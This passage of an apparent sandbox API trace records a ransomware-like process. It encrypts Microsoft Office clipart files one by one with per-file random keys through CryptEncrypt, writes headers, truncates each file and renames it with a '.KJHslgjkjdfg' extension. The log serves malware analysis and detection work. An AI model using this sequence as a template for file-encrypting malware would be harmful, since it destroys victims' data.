dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.325] GetProcessHeap () returned 0x2ef0000 [0196.325] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.325] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.325] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.325] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.325] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.325] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.325] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.326] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.326] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.326] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.326] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16a6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16a6, lpOverlapped=0x0) returned 1 [0196.329] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16b0) returned 1 [0196.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.329] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16b0, lpOverlapped=0x0) returned 1 [0196.329] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.329] SetEndOfFile (hFile=0x130) returned 1 [0196.331] GetProcessHeap () returned 0x2ef0000 [0196.331] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.331] GetProcessHeap () returned 0x2ef0000 [0196.331] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.kjhslgjkjdfg")) returned 1 [0196.332] CloseHandle (hObject=0x130) returned 1 [0196.332] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0196.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.333] GetProcessHeap () returned 0x2ef0000 [0196.333] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.333] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.333] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.335] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.335] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.335] GetProcessHeap () returned 0x2ef0000 [0196.335] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.335] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.335] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.335] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.335] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.335] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.335] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.336] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.336] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.336] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.336] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe86, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe86, lpOverlapped=0x0) returned 1 [0196.336] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe90, dwBufLen=0xe90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe90) returned 1 [0196.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.336] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe90, lpOverlapped=0x0) returned 1 [0196.336] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.336] SetEndOfFile (hFile=0x130) returned 1 [0196.338] GetProcessHeap () returned 0x2ef0000 [0196.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.338] GetProcessHeap () returned 0x2ef0000 [0196.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.kjhslgjkjdfg")) returned 1 [0196.339] CloseHandle (hObject=0x130) returned 1 [0196.339] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0196.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.339] GetProcessHeap () returned 0x2ef0000 [0196.339] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.339] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.340] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.441] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.441] GetProcessHeap () returned 0x2ef0000 [0196.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.441] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.441] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.441] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.441] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.442] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.442] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.442] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.442] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5bc, lpOverlapped=0x0) returned 1 [0196.442] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0) returned 1 [0196.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.442] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c0, lpOverlapped=0x0) returned 1 [0196.442] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.442] SetEndOfFile (hFile=0x130) returned 1 [0196.444] GetProcessHeap () returned 0x2ef0000 [0196.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.444] GetProcessHeap () returned 0x2ef0000 [0196.444] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.kjhslgjkjdfg")) returned 1 [0196.445] CloseHandle (hObject=0x130) returned 1 [0196.445] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0196.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.446] GetProcessHeap () returned 0x2ef0000 [0196.446] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.446] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.446] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.448] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.448] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.448] GetProcessHeap () returned 0x2ef0000 [0196.448] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.448] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.448] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.448] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.449] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.449] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.449] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x578, lpOverlapped=0x0) returned 1 [0196.449] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x580, dwBufLen=0x580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x580) returned 1 [0196.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.449] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x580, lpOverlapped=0x0) returned 1 [0196.450] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.450] SetEndOfFile (hFile=0x130) returned 1 [0196.452] GetProcessHeap () returned 0x2ef0000 [0196.452] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.452] GetProcessHeap () returned 0x2ef0000 [0196.452] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.kjhslgjkjdfg")) returned 1 [0196.453] CloseHandle (hObject=0x130) returned 1 [0196.453] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0196.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.454] GetProcessHeap () returned 0x2ef0000 [0196.454] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.454] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.454] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.459] GetProcessHeap () returned 0x2ef0000 [0196.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.459] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.459] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.459] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.460] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, 